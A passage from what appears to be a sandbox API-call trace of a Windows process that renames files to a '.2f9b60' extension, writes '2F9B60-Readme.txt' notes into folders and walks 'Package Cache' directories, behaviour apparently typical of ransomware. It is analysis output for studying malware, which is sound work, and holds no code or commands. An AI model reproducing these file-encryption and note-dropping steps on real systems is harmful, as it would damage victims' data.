Live\\57d77912076ddc9897bc5" [0113.508] wcscat (in: _Dest=0x4205dd70, _Source=".2f9b60" | out: _Dest="C:\\Users\\Default\\Favorites\\Windows Live\\57d77912076ddc9897bc5.2f9b60") returned="C:\\Users\\Default\\Favorites\\Windows Live\\57d77912076ddc9897bc5.2f9b60" [0113.508] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\Default\\Favorites\\Windows Live\\57d77912076ddc9897bc5.2f9b60", NtPathName=0x3652f6d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\Default\\Favorites\\Windows Live\\57d77912076ddc9897bc5.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0113.508] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1cd65ce0 [0113.508] NtSetInformationFile (FileHandle=0xeb4, IoStatusBlock=0x3652f770, FileInformation=0x1cd65ce0, Length=0xa8, FileInformationClass=0xa) returned 0x0 [0113.510] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65ce0) returned 1 [0113.510] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0113.511] NtQueryInformationFile (in: FileHandle=0xeb4, IoStatusBlock=0x3652f738, FileInformation=0x3652f748, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3652f738, FileInformation=0x3652f748) returned 0x0 [0113.511] NtSetInformationFile (FileHandle=0xeb4, IoStatusBlock=0x3652f738, FileInformation=0x3652f748, Length=0x28, FileInformationClass=0x4) returned 0x0 [0113.512] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205dd70) returned 1 [0113.512] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279df0) returned 1 [0113.512] FlushFileBuffers (hFile=0xeb4) returned 1 [0113.517] CloseHandle (hObject=0xeb4) returned 1 [0113.521] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b868a40 [0113.521] wcscpy (in: _Dest=0x1b868a40, _Source="C:\\Users\\Default\\Favorites\\Windows Live\\" | out: _Dest="C:\\Users\\Default\\Favorites\\Windows Live\\") returned="C:\\Users\\Default\\Favorites\\Windows Live\\" [0113.522] wcscat (in: _Dest=0x1b868a40, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\Default\\Favorites\\Windows Live\\2F9B60-Readme.txt") returned="C:\\Users\\Default\\Favorites\\Windows Live\\2F9B60-Readme.txt" [0113.522] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\2F9B60-Readme.txt" (normalized: "c:\\users\\default\\favorites\\windows live\\2f9b60-readme.txt")) returned 0xffffffff [0113.522] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\2F9B60-Readme.txt" (normalized: "c:\\users\\default\\favorites\\windows live\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xeb4 [0113.522] WriteFile (in: hFile=0xeb4, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x3652f5f0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x3652f5f0*=0xba9, lpOverlapped=0x0) returned 1 [0113.525] CloseHandle (hObject=0xeb4) returned 1 [0113.525] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868a40) returned 1 [0113.525] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a5610) returned 1 Thread: id = 1160 os_tid = 0xc44 [0113.618] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x4205dd70 [0113.619] wcscpy (in: _Dest=0x4205dd70, _Source="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460" | out: _Dest="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460") returned="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460" [0113.619] wcscat (in: _Dest=0x4205dd70, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\") returned="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\" [0113.619] wcscat (in: _Dest=0x4205dd70, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\*") returned="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\*" [0113.619] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x202651c0 [0113.619] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\*", lpFindFileData=0x202651c0 | out: lpFindFileData=0x202651c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2924cac0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c310 [0113.620] wcscmp (_String1=".", _String2=".") returned 0 [0113.620] FindNextFileW (in: hFindFile=0x1cd9c310, lpFindFileData=0x202651c0 | out: lpFindFileData=0x202651c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2924cac0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.620] wcscmp (_String1="..", _String2=".") returned 1 [0113.620] wcscmp (_String1="..", _String2="..") returned 0 [0113.620] FindNextFileW (in: hFindFile=0x1cd9c310, lpFindFileData=0x202651c0 | out: lpFindFileData=0x202651c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0113.620] wcscmp (_String1="packages", _String2=".") returned 1 [0113.620] wcscmp (_String1="packages", _String2="..") returned 1 [0113.620] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x1cd65ce0 [0113.620] wcscpy (in: _Dest=0x1cd65ce0, _Source="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460" | out: _Dest="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460") returned="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460" [0113.620] wcscat (in: _Dest=0x1cd65ce0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\") returned="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\" [0113.620] wcscat (in: _Dest=0x1cd65ce0, _Source="packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages") returned="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages" [0127.200] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd65ce0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe00 [0127.201] FindNextFileW (in: hFindFile=0x1cd9c310, lpFindFileData=0x202651c0 | out: lpFindFileData=0x202651c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0127.201] FindClose (in: hFindFile=0x1cd9c310 | out: hFindFile=0x1cd9c310) returned 1 [0127.201] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202651c0) returned 1 [0127.201] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205dd70) returned 1 [0127.201] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7adca0) returned 1 Thread: id = 1161 os_tid = 0x24c [0113.622] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x4205ce70 [0113.623] wcscpy (in: _Dest=0x4205ce70, _Source="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D" | out: _Dest="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D") returned="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D" [0113.623] wcscat (in: _Dest=0x4205ce70, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\") returned="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\" [0113.623] wcscat (in: _Dest=0x4205ce70, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\*") returned="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\*" [0113.623] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x20265430 [0113.623] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\*", lpFindFileData=0x20265430 | out: lpFindFileData=0x20265430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa938e870, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9cc70 [0113.623] wcscmp (_String1=".", _String2=".") returned 0 [0113.623] FindNextFileW (in: hFindFile=0x1cd9cc70, lpFindFileData=0x20265430 | out: lpFindFileData=0x20265430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa938e870, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.623] wcscmp (_String1="..", _String2=".") returned 1 [0113.623] wcscmp (_String1="..", _String2="..") returned 0 [0113.624] FindNextFileW (in: hFindFile=0x1cd9cc70, lpFindFileData=0x20265430 | out: lpFindFileData=0x20265430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0113.624] wcscmp (_String1="packages", _String2=".") returned 1 [0113.624] wcscmp (_String1="packages", _String2="..") returned 1 [0113.624] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x1cd65d90 [0113.624] wcscpy (in: _Dest=0x1cd65d90, _Source="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D" | out: _Dest="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D") returned="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D" [0113.624] wcscat (in: _Dest=0x1cd65d90, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\") returned="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\" [0113.624] wcscat (in: _Dest=0x1cd65d90, _Source="packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages") returned="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages" [0127.202] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd65d90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xec4 [0127.203] FindNextFileW (in: hFindFile=0x1cd9cc70, lpFindFileData=0x20265430 | out: lpFindFileData=0x20265430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0127.203] FindClose (in: hFindFile=0x1cd9cc70 | out: hFindFile=0x1cd9cc70) returned 1 [0127.203] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265430) returned 1 [0127.203] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205ce70) returned 1 [0127.203] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027b050) returned 1 Thread: id = 1162 os_tid = 0x75c [0113.626] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x20279df0 [0113.626] wcscpy (in: _Dest=0x20279df0, _Source="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" [0113.626] wcscat (in: _Dest=0x20279df0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\" [0113.626] wcscat (in: _Dest=0x20279df0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\*") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\*" [0113.626] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x202656a0 [0113.626] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\*", lpFindFileData=0x202656a0 | out: lpFindFileData=0x202656a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb49460, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcb95720, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcb95720, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c970 [0113.627] wcscmp (_String1=".", _String2=".") returned 0 [0113.627] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x202656a0 | out: lpFindFileData=0x202656a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb49460, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcb95720, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcb95720, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.627] wcscmp (_String1="..", _String2=".") returned 1 [0113.627] wcscmp (_String1="..", _String2="..") returned 0 [0113.627] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x202656a0 | out: lpFindFileData=0x202656a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcb95720, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcb95720, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0113.627] wcscmp (_String1="packages", _String2=".") returned 1 [0113.627] wcscmp (_String1="packages", _String2="..") returned 1 [0113.627] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x20279a30 [0113.627] wcscpy (in: _Dest=0x20279a30, _Source="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" [0113.627] wcscat (in: _Dest=0x20279a30, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\" [0113.627] wcscat (in: _Dest=0x20279a30, _Source="packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages" [0127.205] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x20279a30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xeb4 [0127.206] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x202656a0 | out: lpFindFileData=0x202656a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcb95720, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcb95720, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0127.206] FindClose (in: hFindFile=0x1cd9c970 | out: hFindFile=0x1cd9c970) returned 1 [0127.206] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202656a0) returned 1 [0127.206] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279df0) returned 1 [0127.206] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65ef0) returned 1 Thread: id = 1163 os_tid = 0xb0 [0113.629] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x4205c830 [0113.629] wcscpy (in: _Dest=0x4205c830, _Source="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" [0113.629] wcscat (in: _Dest=0x4205c830, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\") returned="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\" [0113.629] wcscat (in: _Dest=0x4205c830, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*") returned="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*" [0113.629] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x20265910 [0113.629] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*", lpFindFileData=0x20265910 | out: lpFindFileData=0x20265910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd0b340, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xecdb9f30, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0xecdb9f30, ftLastWriteTime.dwHighDateTime=0x1d699a5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c910 [0113.630] wcscmp (_String1=".", _String2=".") returned 0 [0113.630] FindNextFileW (in: hFindFile=0x1cd9c910, lpFindFileData=0x20265910 | out: lpFindFileData=0x20265910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd0b340, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xecdb9f30, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0xecdb9f30, ftLastWriteTime.dwHighDateTime=0x1d699a5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.630] wcscmp (_String1="..", _String2=".") returned 1 [0113.630] wcscmp (_String1="..", _String2="..") returned 0 [0113.630] FindNextFileW (in: hFindFile=0x1cd9c910, lpFindFileData=0x20265910 | out: lpFindFileData=0x20265910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdb9f30, ftCreationTime.dwHighDateTime=0x1d699a5, ftLastAccessTime.dwLowDateTime=0xecdb9f30, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0xece78610, ftLastWriteTime.dwHighDateTime=0x1d699a5, nFileSizeHigh=0x0, nFileSizeLow=0xba9, dwReserved0=0x0, dwReserved1=0x0, cFileName="2F9B60-Readme.txt", cAlternateFileName="2F9B60~1.TXT")) returned 1 [0113.630] wcscmp (_String1="2F9B60-Readme.txt", _String2=".") returned 1 [0113.630] wcscmp (_String1="2F9B60-Readme.txt", _String2="..") returned 1 [0113.630] FindNextFileW (in: hFindFile=0x1cd9c910, lpFindFileData=0x20265910 | out: lpFindFileData=0x20265910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecd314a0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xecd314a0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xf08b3aa0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x392, dwReserved0=0x0, dwReserved1=0x0, cFileName="665e97e12.2f9b60", cAlternateFileName="665E97~1.2F9")) returned 1 [0113.630] wcscmp (_String1="665e97e12.2f9b60", _String2=".") returned 1 [0113.630] wcscmp (_String1="665e97e12.2f9b60", _String2="..") returned 1 [0113.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x20279670 [0113.630] wcscpy (in: _Dest=0x20279670, _Source="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" [0113.631] wcscat (in: _Dest=0x20279670, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\") returned="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\" [0113.631] wcscat (in: _Dest=0x20279670, _Source="665e97e12.2f9b60" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\665e97e12.2f9b60") returned="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\665e97e12.2f9b60" [0127.207] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20279670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xef4 [0127.208] FindNextFileW (in: hFindFile=0x1cd9c910, lpFindFileData=0x20265910 | out: lpFindFileData=0x20265910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecd0b340, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xecd0b340, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd3ea4f80, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x6f428, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x86.exe", cAlternateFileName="VCREDI~1.EXE")) returned 1 [0127.208] wcscmp (_String1="vcredist_x86.exe", _String2=".") returned 1 [0127.208] wcscmp (_String1="vcredist_x86.exe", _String2="..") returned 1 [0127.208] FindNextFileW (in: hFindFile=0x1cd9c910, lpFindFileData=0x20265910 | out: lpFindFileData=0x20265910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecd0b340, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xecd0b340, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd3ea4f80, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x6f428, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x86.exe", cAlternateFileName="VCREDI~1.EXE")) returned 0 [0127.208] FindClose (in: hFindFile=0x1cd9c910 | out: hFindFile=0x1cd9c910) returned 1 [0127.208] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265910) returned 1 [0127.208] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c830) returned 1 [0127.208] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027b0f0) returned 1 Thread: id = 1164 os_tid = 0xb14 [0113.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x202795b0 [0113.633] wcscpy (in: _Dest=0x202795b0, _Source="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" [0113.633] wcscat (in: _Dest=0x202795b0, _Source="\\" | out: 